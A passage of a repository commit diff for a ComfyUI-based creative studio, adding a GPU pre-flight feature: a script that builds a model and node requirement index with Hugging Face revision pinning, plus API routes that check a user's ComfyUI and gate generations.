Skip to content

armgit / fuobe

Public Imported from GitHub
0

The open creative studio on ComfyUI: images, video, 3D and audio on open weights, on your own GPU or the cloud. Camera motions, effects, apps, Cinema, Layers, Image to 3D and an AI agent.

GPU pre-flight: see what runs on your ComfyUI before you press Generate

Adarsha5f841f5e35f
diff --git a/scripts/comfy/build-library.mjs b/scripts/comfy/build-library.mjs
index 6f3b3202..2c077e4d 100644
--- a/scripts/comfy/build-library.mjs
+++ b/scripts/comfy/build-library.mjs
@@ -6,7 +6,7 @@
//
// Inputs: build/raw/<key>.api.json + .meta.json (from export-templates.mjs),
// hand-built/*.json, a running ComfyUI (for /object_info), Hugging Face (model sizes).
-// Outputs: ../../workflows/comfyui/<id>.json, manifest.json
+// Outputs: ../../workflows/comfyui/<id>.json, manifest.json, requirements.json (build-requirements.mjs, no network)
// The "validated" flag of each manifest entry is carried over from validation-state.json when the
// workflow file content is unchanged; run validate-workflows.mjs afterwards to (re)validate.
@@ -18,6 +18,7 @@ import { fileURLToPath, pathToFileURL } from 'node:url';
import { SPEC, KNOWN_MODELS, CUSTOM_NODE_REPOS, PACK_CLASSES } from './library.spec.mjs';
import * as G from './lib/graph.mjs';
import { resolveSource } from './export-templates.mjs';
+import { writeIndex } from './build-requirements.mjs';
const HERE = path.dirname(fileURLToPath(import.meta.url));
const REPO = path.resolve(HERE, '..', '..');
@@ -415,6 +416,13 @@ async function main() {
writeJson(path.join(OUT_DIR, 'manifest.json'), manifest);
fs.mkdirSync(path.dirname(SIZE_CACHE), { recursive: true });
writeJson(SIZE_CACHE, sizeCache);
+ // The GPU pre-flight's requirement index follows the manifest (pins come from the committed model-pins.json).
+ try {
+ const { index, bytes } = writeIndex(OUT_DIR);
+ console.log(`requirements.json: ${Object.keys(index.files).length} files, ${Object.keys(index.packs).length} packs, ${bytes} bytes`);
+ } catch (e) {
+ errors.push(`requirements.json: ${e.message}`);
+ }
if (errors.length) {
console.error(`\n${errors.length} problem(s):\n ${errors.join('\n ')}`);
process.exitCode = 1;
diff --git a/scripts/comfy/build-requirements.mjs b/scripts/comfy/build-requirements.mjs
new file mode 100644
index 00000000..e5fccb77
--- /dev/null
+++ b/scripts/comfy/build-requirements.mjs
@@ -0,0 +1,329 @@
+#!/usr/bin/env node
+/**
+ * The GPU pre-flight's requirement index (workflows/comfyui/requirements.json, src/lib/gpu/types.ts RequirementIndex):
+ * per workflow its core node classes, its packs' classes, the model files it needs, VRAM, worker and first-run downloads;
+ * per pack its pinned commit and registry id; per file its folder, URL pinned to a revision, size, sha256 and how a
+ * ComfyUI shows it is there (the loader node's combo list, the folder listing, or not at all).
+ *
+ * Built from the committed library alone, no ComfyUI and no network: manifest.json, the workflow graphs,
+ * object_info.subset.json (which classes are core and which belong to a pack), packs.json (pins, kept by hand) and
+ * model-pins.json (revisions and sizes). It runs at the end of build-library.mjs and alone:
+ *
+ * node scripts/comfy/build-requirements.mjs # write requirements.json
+ * node scripts/comfy/build-requirements.mjs --refresh-pins # maintainers: re-read model-pins.json from Hugging Face
+ * # (network; gated repos need HF_TOKEN), then write
+ */
+import crypto from 'node:crypto';
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+import { PACK_CLASSES } from './library.spec.mjs';
+
+const HERE = path.dirname(fileURLToPath(import.meta.url));
+export const REPO = path.resolve(HERE, '..', '..');
+export const LIBRARY = path.join(REPO, 'workflows', 'comfyui');
+
+/** ComfyUI's folder_paths.supported_pt_extensions: the files a folder listing shows. */
+export const PT_EXTENSIONS = ['.ckpt', '.pt', '.pt2', '.bin', '.pth', '.safetensors', '.pkl', '.sft'];
+
+/** Core classes of the newest families, read one by one when /object_info can't be: an older ComfyUI lacks them first. */
+const NEWEST_CORE = /^(SeedVR2|Trellis2|SAM3|LTXV|LTXAV|ComfyMathExpression)/;
+const NEWEST_CORE_MODULES = new Set(['comfy_extras.nodes_bg_removal']);
+
+/** A manifest URL as it is pinned and compared: without the `?download=true` some templates carry. */
+export const cleanUrl = (u) => u.replace(/\?download=true$/, '');
+
+/** A Hugging Face resolve URL → { kind: "models" | "datasets", repo, rev, path }, or null. */
+export function hfParts(url) {
+ const m = /^https:\/\/huggingface\.co\/(datasets\/)?([^/]+\/[^/]+)\/resolve\/([^/]+)\/(.+)$/.exec(cleanUrl(url));
+ return m ? { kind: m[1] ? 'datasets' : 'models', repo: m[2], rev: m[3], path: decodeURIComponent(m[4]) } : null;
+}
+
+/** The URL at a revision (resolve/main/… → resolve/<sha>/…). */
+export function pinUrl(url, revision) {
+ const p = hfParts(url);
+ if (!p || !revision) return cleanUrl(url);
+ return cleanUrl(url).replace(`/resolve/${p.rev}/`, `/resolve/${revision}/`);
+}
+
+const isCombo = (spec) => Array.isArray(spec) && (Array.isArray(spec[0]) || spec[0] === 'COMBO');
+const comboInput = (entry, input) => !!entry && isCombo(entry.input?.required?.[input] ?? entry.input?.optional?.[input]);
+const sortObj = (o) => Object.fromEntries(Object.keys(o).sort().map((k) => [k, o[k]]));
+const uniq = (a) => [...new Set(a)].sort();
+
+/** JSON with sorted keys, no whitespace: what the hash is taken of. */
+export function canonical(v) {
+ if (Array.isArray(v)) return `[${v.map(canonical).join(',')}]`;
+ if (v && typeof v === 'object') return `{${Object.keys(v).sort().filter((k) => v[k] !== undefined).map((k) => `${JSON.stringify(k)}:${canonical(v[k])}`).join(',')}}`;
+ return JSON.stringify(v);
+}
+
+export const indexHash = (index) => crypto.createHash('sha256').update(canonical({ ...index, hash: undefined })).digest('hex');
+
+/**
+ * Build the index from the library's inputs. Pure: no file or network access.
+ * @param {{ manifest: object, graphs: Record<string, object>, subset: Record<string, object | null>, packs: Record<string, object>, pins: Record<string, { revision: string, sizeBytes: number, sha256?: string }>, packClasses?: Record<string, RegExp> }} inputs
+ * @returns {import('../../src/lib/gpu/types').RequirementIndex}
+ */
+export function buildIndex({ manifest, graphs, subset, packs, pins, packClasses = PACK_CLASSES }) {
+ const problems = [];
+ /** A class's owner: "core", or a pack name. */
+ const ownerOf = (cls, wf) => {
+ const e = subset[cls];
+ if (e && typeof e.python_module === 'string') {
+ const m = /^custom_nodes\.([^.]+)/.exec(e.python_module);
+ return m ? m[1] : 'core';
+ }
+ // Classes the validator couldn't load (null): their pack is named by PACK_CLASSES, else by the workflow's only pack.
+ for (const [pack, re] of Object.entries(packClasses)) if (re.test(cls)) return pack;
+ const named = wf.customNodes.map((c) => c.name);
+ if (named.length === 1) return named[0];
+ problems.push(`${wf.id}: can't tell which pack ${cls} belongs to`);
+ return null;
+ };
+
+ // Files: one entry per folder/file; a file re-hosted at several URLs takes the URL most workflows use.
+ const refs = new Map(); // key -> { model, urls: Map<url, count>, gated, wfs: Set }
+ for (const wf of manifest.workflows) {
+ for (const m of wf.models) {
+ const key = `${m.folder}/${m.file}`;
+ const r = refs.get(key) ?? { folder: m.folder, file: m.file, sizeGb: m.sizeGb ?? 0, urls: new Map(), gated: false, wfs: new Set() };
+ if (m.url) r.urls.set(cleanUrl(m.url), (r.urls.get(cleanUrl(m.url)) ?? 0) + 1);
+ r.gated ||= !!m.gated;
+ r.sizeGb = Math.max(r.sizeGb, m.sizeGb ?? 0);
+ r.wfs.add(wf.id);
+ refs.set(key, r);
+ }
+ }
+ const packFolder = new Map();
+ for (const [name, p] of Object.entries(packs)) for (const f of p.folders ?? []) packFolder.set(f, name);
+
+ const files = {};
+ for (const key of [...refs.keys()].sort()) {
+ const r = refs.get(key);
+ const url = [...r.urls.entries()].sort((a, b) => b[1] - a[1])[0]?.[0];
+ if (!url) {
+ problems.push(`${key}: no download URL`);
+ continue;
+ }
+ const pin = pins[url];
+ // The loader nodes that pick this file in the workflows that need it (the input must be a combo: its list is what ComfyUI can load).
+ const loaders = new Map();
+ for (const id of r.wfs) {
+ for (const node of Object.values(graphs[id] ?? {})) {
+ for (const [input, value] of Object.entries(node?.inputs ?? {})) {
+ if (value === r.file && comboInput(subset[node.class_type], input)) loaders.set(`${node.class_type}\u0000${input}`, [node.class_type, input]);
+ }
+ }
+ }
+ const ext = path.extname(r.file).toLowerCase();
+ const presence = loaders.size ? 'loader' : PT_EXTENSIONS.includes(ext) ? 'list' : 'unobservable';
+ files[key] = {
+ folder: r.folder,
+ file: r.file,
+ url,
+ pinnedUrl: pin ? pinUrl(url, pin.revision) : url,
+ sizeBytes: pin?.sizeBytes ?? Math.round(r.sizeGb * 1e9),
+ // The hash rides along where a copied command checks it: formats that can run code when they load (.pth, .ckpt…)
+ // and the other non-safetensors files. Every file's sha256 stays in model-pins.json (the size budget, §4.3).
+ ...(pin?.sha256 && ext !== '.safetensors' && { sha256: pin.sha256 }),
+ gated: r.gated,
+ ...(packFolder.has(r.folder) && { packFolder: packFolder.get(r.folder) }),
+ presence,
+ ...(loaders.size && { loaders: [...loaders.values()].sort((a, b) => (a[0] + a[1]).localeCompare(b[0] + b[1])) }),
+ };
+ }
+
+ // Workflows: classes split into core and packs.
+ const packClassesUsed = new Map();
+ const workflows = {};
+ for (const wf of manifest.workflows) {
+ const graph = graphs[wf.id];
+ if (!graph) {
+ problems.push(`${wf.id}: no workflow graph`);
+ continue;
+ }
+ const core = new Set();
+ const byPack = {};
+ for (const n of wf.customNodes) byPack[n.name] ??= new Set();
+ for (const cls of new Set(Object.values(graph).map((n) => n.class_type))) {
+ const owner = ownerOf(cls, wf);
+ if (!owner) continue;
+ if (owner === 'core') core.add(cls);
+ else {
+ (byPack[owner] ??= new Set()).add(cls);
+ if (!packClassesUsed.has(owner)) packClassesUsed.set(owner, new Set());
+ packClassesUsed.get(owner).add(cls);
+ }
+ }
+ workflows[wf.id] = {
+ core: uniq(core),
+ packs: sortObj(Object.fromEntries(Object.entries(byPack).map(([k, v]) => [k, uniq(v)]))),
+ files: uniq(wf.models.filter((m) => !m.optional).map((m) => `${m.folder}/${m.file}`)),
+ optional: uniq(wf.models.filter((m) => m.optional).map((m) => `${m.folder}/${m.file}`)),
+ vramGb: Number(wf.vramGb) || 0,
+ isolated: wf.worker === 'isolated',
+ firstRun: wf.autoDownloads ?? [],
+ validated: !!wf.validated,
+ };
+ }
+
+ // Packs: every pack a workflow uses, with its pins from packs.json.
+ const usedPacks = uniq(Object.values(workflows).flatMap((w) => Object.keys(w.packs)));
+ const indexPacks = {};
+ for (const name of usedPacks) {
+ const p = packs[name];
+ if (!p) {
+ problems.push(`${name}: not in packs.json`);
+ continue;
+ }
+ indexPacks[name] = {
+ repo: p.repo,
+ commit: p.commit,
+ ...(p.registry && { registry: { id: p.registry.id, version: p.registry.version ?? '' } }),
+ classes: uniq(packClassesUsed.get(name) ?? []),
+ folders: uniq(p.folders ?? []),
+ isolated: !!p.isolated,
+ ...(p.subdir && { subdir: p.subdir }),
+ requirementsTxt: !!p.requirementsTxt,
+ install: p.registry?.version ? 'registry' : 'manual',
+ };
+ }
+
+ const coreNewest = Object.entries(subset)
+ .filter(([cls, e]) => e && !String(e.python_module).startsWith('custom_nodes.') && (NEWEST_CORE.test(cls) || NEWEST_CORE_MODULES.has(e.python_module)))
+ .map(([cls]) => cls);
+ const used = new Set(Object.values(workflows).flatMap((w) => w.core));
+ const sentinels = uniq([...Object.values(indexPacks).flatMap((p) => p.classes), ...coreNewest.filter((c) => used.has(c))]);
+
+ if (problems.length) throw new Error(`requirements.json can't be built:\n ${problems.join('\n ')}`);
+ const index = {
+ v: 1,
+ hash: '',
+ comfyui: { min: manifest.comfyuiVersion, testedCommit: String(manifest.comfyuiCommit ?? '').slice(0, 8) },
+ folders: uniq(Object.values(files).map((f) => f.folder)),
+ sentinels,
+ packs: indexPacks,
+ files,
+ workflows: sortObj(workflows),
+ };
+ index.hash = indexHash(index);
+ return index;
+}
+
+/** The inputs as committed. */
+export function loadInputs(dir = LIBRARY) {
+ const read = (f) => JSON.parse(fs.readFileSync(path.join(dir, f), 'utf8'));
+ const manifest = read('manifest.json');
+ const graphs = Object.fromEntries(manifest.workflows.map((w) => [w.id, read(w.file)]));
+ const pinsFile = path.join(dir, 'model-pins.json');
+ return {
+ manifest,
+ graphs,
+ subset: read('object_info.subset.json'),
+ packs: read('packs.json'),
+ pins: fs.existsSync(pinsFile) ? read('model-pins.json') : {},
+ packClasses: PACK_CLASSES,
+ };
+}
+
+/**
+ * The index as written: one line per pack, file and workflow (reviewable diffs, small file).
+ * JSON.parse of it equals the index.
+ */
+export function formatIndex(index) {
+ const block = (o) => `{\n${Object.entries(o).map(([k, v]) => ` ${JSON.stringify(k)}: ${JSON.stringify(v)}`).join(',\n')}\n }`;
+ const top = Object.entries(index).map(([k, v]) => ` ${JSON.stringify(k)}: ${['packs', 'files', 'workflows'].includes(k) ? block(v) : JSON.stringify(v)}`);
+ return `{\n${top.join(',\n')}\n}\n`;
+}
+
+export function writeIndex(dir = LIBRARY) {
+ const index = buildIndex(loadInputs(dir));
+ const text = formatIndex(index);
+ fs.writeFileSync(path.join(dir, 'requirements.json'), text);
+ return { index, bytes: Buffer.byteLength(text) };
+}
+
+// ---------------------------------------------------------------------------
+// --refresh-pins: revisions, sizes and sha256 from Hugging Face (maintainers; network)
+
+/**
+ * Pin every manifest URL: the repo's current revision (GET /api/<kind>/<repo>/revision/main) and, at that revision,
+ * each file's size and LFS sha256 (POST /api/<kind>/<repo>/paths-info/<sha>). URLs already at a commit keep it.
+ * Files that can't be read (gated without HF_TOKEN, moved) keep their old pin, or none; they are returned in `failed`.
+ */
+export async function refreshPins(dir = LIBRARY, { token = process.env.HF_TOKEN, fetchImpl = fetch, log = console.log } = {}) {
+ const manifest = JSON.parse(fs.readFileSync(path.join(dir, 'manifest.json'), 'utf8'));
+ const pinsFile = path.join(dir, 'model-pins.json');
+ const old = fs.existsSync(pinsFile) ? JSON.parse(fs.readFileSync(pinsFile, 'utf8')) : {};
+ const urls = uniq(manifest.workflows.flatMap((w) => w.models.flatMap((m) => (m.url ? [cleanUrl(m.url)] : []))));
+ const headers = { 'User-Agent': 'Fuobe build-requirements', ...(token && { Authorization: `Bearer ${token}` }) };
+ // Group by repo and revision asked for.
+ const groups = new Map();
+ const failed = [];
+ for (const url of urls) {
+ const p = hfParts(url);
+ if (!p) {
+ failed.push({ url, why: 'not a Hugging Face resolve URL' });
+ continue;
+ }
+ const k = `${p.kind}\u0000${p.repo}\u0000${p.rev}`;
+ if (!groups.has(k)) groups.set(k, { ...p, items: [] });
+ groups.get(k).items.push({ url, path: p.path });
+ }
+ const pins = {};
+ for (const g of groups.values()) {
+ let sha = /^[0-9a-f]{40}$/.test(g.rev) ? g.rev : null;
+ try {
+ if (!sha) {
+ const r = await fetchImpl(`https://huggingface.co/api/${g.kind}/${g.repo}/revision/${encodeURIComponent(g.rev)}`, { headers });
+ if (!r.ok) throw new Error(`revision: HTTP ${r.status}`);
+ sha = (await r.json()).sha;
+ if (!/^[0-9a-f]{40}$/.test(sha ?? '')) throw new Error('revision: no sha');
+ }
+ const r = await fetchImpl(`https://huggingface.co/api/${g.kind}/${g.repo}/paths-info/${sha}`, {
+ method: 'POST',
+ headers: { ...headers, 'Content-Type': 'application/json' },
+ body: JSON.stringify({ paths: g.items.map((i) => i.path), expand: false }),
+ });
+ if (!r.ok) throw new Error(`paths-info: HTTP ${r.status}`);
+ const info = new Map((await r.json()).map((e) => [e.path, e]));
+ for (const it of g.items) {
+ const e = info.get(it.path);
+ if (!e || e.type !== 'file') {
+ failed.push({ url: it.url, why: 'not found at that revision' });
+ if (old[it.url]) pins[it.url] = old[it.url];
+ continue;
+ }
+ const size = e.lfs?.size ?? e.size;
+ pins[it.url] = { revision: sha, sizeBytes: size, ...(e.lfs?.oid && /^[0-9a-f]{64}$/.test(e.lfs.oid) && { sha256: e.lfs.oid }) };
+ }
+ log(`✓ ${g.repo}@${sha.slice(0, 8)}: ${g.items.length} file(s)`);
+ } catch (e) {
+ log(`! ${g.repo}: ${e.message}`);
+ for (const it of g.items) {
+ failed.push({ url: it.url, why: e.message });
+ if (old[it.url]) pins[it.url] = old[it.url];
+ }
+ }
+ }
+ fs.writeFileSync(pinsFile, `${JSON.stringify(sortObj(pins), null, 1)}\n`);
+ return { pinned: Object.keys(pins).length, failed };
+}
+
+async function main() {
+ if (process.argv.includes('--refresh-pins')) {
+ const r = await refreshPins();
+ console.log(`model-pins.json: ${r.pinned} pinned, ${r.failed.length} not pinned`);
+ for (const f of r.failed) console.log(` ${f.url}: ${f.why}`);
+ }
+ const { index, bytes } = writeIndex();
+ console.log(`requirements.json: ${Object.keys(index.workflows).length} workflows, ${Object.keys(index.files).length} files, ${Object.keys(index.packs).length} packs, ${bytes} bytes`);
+}
+
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
+ main().catch((e) => {
+ console.error(e.message ?? e);
+ process.exit(1);
+ });
+}
diff --git a/scripts/comfy/install-comfyui.sh b/scripts/comfy/install-comfyui.sh
index f2ed4947..63b2d8c3 100755
--- a/scripts/comfy/install-comfyui.sh
+++ b/scripts/comfy/install-comfyui.sh
@@ -16,7 +16,6 @@ declare -A NODES=(
[ComfyUI-WanVideoWrapper]="https://github.com/kijai/ComfyUI-WanVideoWrapper 088128b224242e110d3906c6750e9a3a348a659b"
[ComfyUI-VideoHelperSuite]="https://github.com/Kosinkadink/ComfyUI-VideoHelperSuite 4d907bee61e92c2e65af3bd6383a4e4d356126d1"
[ComfyUI-KJNodes]="https://github.com/kijai/ComfyUI-KJNodes 17195fcfa8a05f601b766a0f09c9733284f47416"
- [ComfyUI-SeedVR2_VideoUpscaler]="https://github.com/numz/ComfyUI-SeedVR2_VideoUpscaler 4490bd1f482e026674543386bb2a4d176da245b9"
[ComfyUI-Frame-Interpolation]="https://github.com/Fannovel16/ComfyUI-Frame-Interpolation 26545cc2dd95bc3d27f056016300673bdeee78f5"
[ComfyUI-RMBG]="https://github.com/1038lab/ComfyUI-RMBG 229529e0ea63fb7085848225d74f91f6dc164956"
[ComfyUI-ReActor]="https://github.com/Gourieff/ComfyUI-ReActor 3be5f356fe5b120a7a274d2509c0ecef5d0a7498"
diff --git a/scripts/comfy/library.spec.mjs b/scripts/comfy/library.spec.mjs
index 26a94b2d..444f1ddb 100644
--- a/scripts/comfy/library.spec.mjs
+++ b/scripts/comfy/library.spec.mjs
@@ -117,7 +117,6 @@ export const CUSTOM_NODE_REPOS = {
'ComfyUI-WanVideoWrapper': 'https://github.com/kijai/ComfyUI-WanVideoWrapper',
'ComfyUI-VideoHelperSuite': 'https://github.com/Kosinkadink/ComfyUI-VideoHelperSuite',
'ComfyUI-KJNodes': 'https://github.com/kijai/ComfyUI-KJNodes',
- 'ComfyUI-SeedVR2_VideoUpscaler': 'https://github.com/numz/ComfyUI-SeedVR2_VideoUpscaler',
'ComfyUI-Frame-Interpolation': 'https://github.com/Fannovel16/ComfyUI-Frame-Interpolation',
'ComfyUI-RMBG': 'https://github.com/1038lab/ComfyUI-RMBG',
'ComfyUI-ReActor': 'https://github.com/Gourieff/ComfyUI-ReActor',
diff --git a/src/app/(studio)/connect/page.tsx b/src/app/(studio)/connect/page.tsx
new file mode 100644
index 00000000..7ea3dfd4
--- /dev/null
+++ b/src/app/(studio)/connect/page.tsx
@@ -0,0 +1,28 @@
+import type { Metadata } from "next";
+import { Suspense } from "react";
+import { ConnectGpu } from "@/components/gpu/connect-gpu";
+import { PageShell } from "@/components/page-shell";
+import { Skeleton } from "@/components/ui/skeleton";
+
+export const metadata: Metadata = { title: "Connect your GPU" };
+
+/** The GPU pre-flight: connect ComfyUI, check it live, and see what every studio can do on it. */
+export default function Page() {
+ return (
+ <PageShell>
+ <div className="mx-auto w-full max-w-[760px]">
+ {/* The page reads ?welcome and ?next: under Suspense, so the static shell prerenders. */}
+ <Suspense
+ fallback={
+ <div className="space-y-4">
+ <Skeleton className="h-10 w-72" />
+ <Skeleton className="h-40 w-full" />
+ </div>
+ }
+ >
+ <ConnectGpu />
+ </Suspense>
+ </div>
+ </PageShell>
+ );
+}
diff --git a/src/app/api/comfyui/route.ts b/src/app/api/comfyui/route.ts
index 8facd2f1..d0bb3032 100644
--- a/src/app/api/comfyui/route.ts
+++ b/src/app/api/comfyui/route.ts
@@ -1,11 +1,17 @@
import { connection } from "next/server";
+import { requestViewer } from "@/server/auth";
import { loadManifest, modelInventory, probeComfy } from "@/server/providers/comfyui";
-/** Workflow library + which required models are present on the connected server. */
-export async function GET() {
+/**
+ * Workflow library + which required models are present on the connected server. A guest or an account (public
+ * sign-up) gets the library only: the studio's own ComfyUI is neither asked nor described to them (its files
+ * aren't theirs, and an open read would let anyone make the studio's GPU answer). Their own GPU is on /connect.
+ */
+export async function GET(request?: Request) {
await connection();
const manifest = loadManifest();
- const reachable = await probeComfy(true);
+ const visitor = !!request && requestViewer(request).kind !== "owner";
+ const reachable = visitor ? null : await probeComfy(true);
const inventory = reachable ? await modelInventory() : null;
const present = new Set(Object.values(inventory ?? {}).flat());
return Response.json({
diff --git a/src/app/api/generations/route.ts b/src/app/api/generations/route.ts
index a0bb0b16..3ba30030 100644
--- a/src/app/api/generations/route.ts
+++ b/src/app/api/generations/route.ts
@@ -5,6 +5,8 @@ import { OPERATION_LABELS } from "@/lib/catalog/types";
import { accountRun, asVisitor, createGenerations, listGenerations, outputKind, previewGeneration } from "@/server/generations";
import { ensureTrashPurge, listOptionsFrom } from "@/server/library";
import { GenerationRequestSchema } from "@/server/request-schema";
+import { gateGeneration, GPU_SETUP_HEADER } from "@/server/gpu/gate";
+import { gpuTargetFor } from "@/server/gpu/target";
/**
* List generations, newest first. Filters: kind / kinds, features (`x*` = prefix), models, statuses,
@@ -22,7 +24,8 @@ export async function GET(request: Request) {
/** Start a generation; `?preview=1` only says what it would run as (model, operation, jobs, outputs, cost). */
export async function POST(request: Request) {
- const parsed = GenerationRequestSchema.safeParse(await request.json().catch(() => null));
+ const body: unknown = await request.json().catch(() => null);
+ const parsed = GenerationRequestSchema.safeParse(body);
if (!parsed.success) {
return Response.json({ error: parsed.error.issues.map((i) => `${i.path.join(".")}: ${i.message}`).join("; ") }, { status: 400 });
}
@@ -46,10 +49,27 @@ export async function POST(request: Request) {
const { model, ...p } = priced(() => previewGeneration(req));
return Response.json({ ...p, modelId: model.id, modelName: model.name, engine: model.engine, kind: outputKind(p.op, model), opLabel: OPERATION_LABELS[p.op] ?? p.op });
}
+ // GPU pre-flight: a ComfyUI run that is sure to fail for something missing stops here with the plan that fixes it
+ // (src/server/gpu/gate.ts; never when the check is unknown, for graphics memory, or with gpuCheck "skip").
+ let gpuWarning: string | undefined;
+ if (viewer.kind !== "guest") {
+ let planned: ReturnType<typeof previewGeneration> | null = null;
+ try {
+ planned = onOwn(() => previewGeneration(req));
+ } catch {
+ // createGenerations says what's wrong with the request.
+ }
+ if (planned) {
+ const skip = (body as { gpuCheck?: unknown } | null)?.gpuCheck === "skip";
+ const gate = await gateGeneration(gpuTargetFor(request, "read"), { request: req, route: planned.route, op: planned.op, modelId: planned.model.id, skip, actor: account?.id ?? "owner" });
+ if (!gate.ok) return Response.json({ error: gate.message, code: "gpu-setup", ref: gate.ref, plan: gate.plan }, { status: 409, headers: { [GPU_SETUP_HEADER]: "1" } });
+ gpuWarning = gate.warning;
+ }
+ }
const items = onOwn(() => createGenerations(req));
// What the run leaves out or changes (a model that replaced a retired one, a LoRA that runs only on a GPU, a length the API rounds).
const notes = [...new Set(items.flatMap((g) => g.notes ?? []))];
- return Response.json({ items, ...(notes.length && { notes }) }, { status: 201 });
+ return Response.json({ items, ...(notes.length && { notes }), ...(gpuWarning && { gpuWarning }) }, { status: 201 });
} catch (e) {
return Response.json({ error: (e as Error).message }, { status: 422 });
}
diff --git a/src/app/api/gpu/badges/route.ts b/src/app/api/gpu/badges/route.ts
new file mode 100644
index 00000000..8c108990
--- /dev/null
+++ b/src/app/api/gpu/badges/route.ts
@@ -0,0 +1,17 @@
+import { connection } from "next/server";
+import { preflightOn } from "@/server/gpu/index-file";
+import { badgesView } from "@/server/gpu/readiness-service";
+import { gpuTargetFor } from "@/server/gpu/target";
+
+/**
+ * GPU pre-flight: one chip per open model operation and per preset, from the viewer's last check
+ * ([state, steps, GB × 10, flags]; a missing key means no chip). Guests and the switched-off pre-flight get
+ * { connected: false }, and no chips.
+ */
+export async function GET(request: Request) {
+ await connection();
+ if (!preflightOn()) return Response.json({ connected: false, off: true, models: {}, presets: {} }, { headers: { "Cache-Control": "private, max-age=30" } });
+ const t = gpuTargetFor(request, "read");
+ if (t.kind === "none") return Response.json({ connected: false, models: {}, presets: {} }, { headers: { "Cache-Control": "private, no-store" } });
+ return Response.json(badgesView(t), { headers: { "Cache-Control": "private, max-age=30" } });
+}
diff --git a/src/app/api/gpu/check/route.ts b/src/app/api/gpu/check/route.ts
new file mode 100644
index 00000000..14caca94
--- /dev/null
+++ b/src/app/api/gpu/check/route.ts
@@ -0,0 +1,68 @@
+import { preflightOn } from "@/server/gpu/index-file";
+import { interactiveRefusal } from "@/server/gpu/gate";
+import { readinessView } from "@/server/gpu/readiness-service";
+import { checkWait, probe, probeRunning, readSnapshot, writeSnapshot } from "@/server/gpu/snapshots";
+import { allLoraNames } from "@/server/gpu/tools";
+import { gpuTargetFor, installExposed } from "@/server/gpu/target";
+
+/**
+ * GPU pre-flight: check the viewer's ComfyUI now (GET requests only, plus ComfyUI-Manager's read-only import-error
+ * lookup; never a prompt, an upload or an install). The answer is a stream of NDJSON lines, one per checklist line
+ * as each step ends, then the board: {type: "line", step, state, text} … {type: "report", …}. A person on this
+ * site starts it (not an API token, not another website), at most once every 10 s per GPU; a second tab joins the
+ * check that is already running.
+ */
+export async function POST(request: Request) {
+ if (!preflightOn()) return Response.json({ error: "The GPU pre-flight is switched off on this studio." }, { status: 404 });
+ const refused = interactiveRefusal(request);
+ if (refused) return Response.json({ error: refused }, { status: 403 });
+ const t = gpuTargetFor(request, "read");
+ if (t.kind === "none") {
+ const error = t.reason === "refused" ? "Fuobe can't use this address. Connect your own ComfyUI." : "Connect your GPU first.";
+ return Response.json({ error, code: "connect-gpu" }, { status: 409 });
+ }
+ const wait = checkWait(t);
+ if (wait > 0 && !probeRunning(t)) {
+ return Response.json({ error: `Checked a moment ago. Try again in ${wait} s.`, wait }, { status: 429, headers: { "Retry-After": String(wait) } });
+ }
+ const actor = t.kind === "account" ? t.accountId : "owner";
+ const encoder = new TextEncoder();
+ const stream = new ReadableStream<Uint8Array>({
+ async start(ctrl) {
+ let open = true;
+ const send = (o: unknown) => {
+ if (!open) return;
+ try {
+ ctrl.enqueue(encoder.encode(`${JSON.stringify(o)}\n`));
+ } catch {
+ open = false;
+ }
+ };
+ try {
+ const inv = await probe(t, { actor, loraNames: allLoraNames(), onLine: (l) => send({ type: "line", ...l }) });
+ if (t.kind === "install" && inv.reachable) {
+ const exposed = await installExposed();
+ const snap = readSnapshot(t);
+ if (snap && exposed !== !!snap.inventory.exposed) writeSnapshot(t, { ...snap.inventory, exposed });
+ }
+ const view = readinessView(t);
+ if (view.report) {
+ const rows = view.report.studios.length;
+ send({ type: "line", step: "match", state: "done", text: `Matched ${rows} studios to your GPU` });
+ }
+ send({ type: "report", ...view });
+ } catch (e) {
+ send({ type: "error", error: (e as Error).message || "The check stopped." });
+ }
+ if (open) ctrl.close();
+ },
+ });
+ return new Response(stream, {
+ headers: {
+ "Content-Type": "application/x-ndjson; charset=utf-8",
+ // no-transform: a proxy in front passes the lines on as they come instead of compressing the whole answer.
+ "Cache-Control": "no-store, no-transform",
+ "X-Accel-Buffering": "no",
+ },
+ });
+}
diff --git a/src/app/api/gpu/inventory/route.ts b/src/app/api/gpu/inventory/route.ts
new file mode 100644
index 00000000..1ec9a8f7
--- /dev/null
+++ b/src/app/api/gpu/inventory/route.ts
@@ -0,0 +1,21 @@
+import { preflightOn } from "@/server/gpu/index-file";
+import { interactiveRefusal } from "@/server/gpu/gate";
+import { gpuTargetFor } from "@/server/gpu/target";
+
+/**
+ * GPU pre-flight, browser-direct mode: the tab reads a ComfyUI on the visitor's own computer and sends what it
+ * found. Accepted only for an account whose GPU is in browser mode, never for the studio's own ComfyUI, and a
+ * browser's facts never stand in for a server check (review 18). Browser mode isn't part of an account's GPU
+ * yet, so every request is refused for now.
+ */
+export async function PUT(request: Request) {
+ if (!preflightOn()) return Response.json({ error: "The GPU pre-flight is switched off on this studio." }, { status: 404 });
+ const refused = interactiveRefusal(request);
+ if (refused) return Response.json({ error: refused }, { status: 403 });
+ const t = gpuTargetFor(request, "read");
+ if (t.kind === "install") return Response.json({ error: "The studio's own ComfyUI is checked by the server." }, { status: 403 });
+ return Response.json(
+ { error: "Checking a ComfyUI from this browser isn't available yet. Connect it with a tunnel link instead.", code: "browser-mode-off" },
+ { status: 409 },
+ );
+}
diff --git a/src/app/api/gpu/plan/route.ts b/src/app/api/gpu/plan/route.ts
new file mode 100644
index 00000000..fd7d716c
--- /dev/null
+++ b/src/app/api/gpu/plan/route.ts
@@ -0,0 +1,24 @@
+import { connection } from "next/server";
+import { preflightOn } from "@/server/gpu/index-file";
+import { planFor } from "@/server/gpu/readiness-service";
+import { gpuTargetFor } from "@/server/gpu/target";
+
+/**
+ * GPU pre-flight: one tool's fix plan (`?ref=model:<id>#<op>`, `preset:<id>`, `studio:<href>` or
+ * `workflow:<id>`), built on the server from the requirement index and the viewer's last check. The client
+ * names a tool only, never a file, URL or repository (R2). P1 plans are by hand: the commands to run.
+ */
+const REF = /^(model:[\w.-]{1,120}#[\w-]{1,40}|preset:[\w.-]{1,120}|studio:\/[\w/-]{0,60}|workflow:[\w.-]{1,120})$/;
+
+export async function GET(request: Request) {
+ await connection();
+ const headers = { "Cache-Control": "private, no-store" };
+ if (!preflightOn()) return Response.json({ error: "The GPU pre-flight is switched off on this studio." }, { status: 404, headers });
